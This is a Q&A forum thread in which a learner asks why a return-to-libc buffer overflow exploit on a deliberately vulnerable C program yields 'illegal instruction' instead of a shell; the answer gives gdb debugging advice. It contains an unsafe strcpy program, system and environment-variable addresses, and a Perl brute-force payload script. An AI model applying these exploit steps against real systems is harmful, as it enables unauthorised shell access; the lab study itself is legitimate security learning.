Question

I am messing around with buffer overflows, particularly the return into libc kind.

I have the following vulnerable code:

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
    char buffer[80];
    getchar();
    strcpy(buffer, argv[1]);
    return 1;
}

I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of “Hacking: The Art of Exploitation”.

First, I disabled ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0

I found out the address of system:

$ cat find_system.c
int main() {
    system("");
    return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>

I created an environment variable to contain the command I want to execute using system:

$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
    return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d

And then I made a perl script to automate getting the shell:

$ cat script.pl
#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
    print "Perl count: $i\n";
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");

}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)

Where did I go wrong? Why do I get “illegal instruction” instead of my shell?

Answer 1

$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'

Vary the number of ‘A’s to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.

gdb will tell you exactly where you’re crashing and what’s at EIP/RIP when you crash. This should guide you to an answer to your question.

Most likely, you’re not getting a good pointer in the return address on the stack and execution is landing in memory that doesn’t disassemble to valid instructions. I’d think you’re close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn’t even allocated.

Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.

You’ll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x – x/4w maybe – and i r).

Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it’s first argument from.

Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you’re about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you’re off, assuming you can sustain execution with proper arguments to whatever you’re calling, etc. The program’s state at this ret is the make or break point so it’s the easiest place to see what’s wrong with your input and why you will or will not successfully exploit the vulnerability.

Forgive me if my gdb syntax isn’t bang on… it’s not my primary debugger.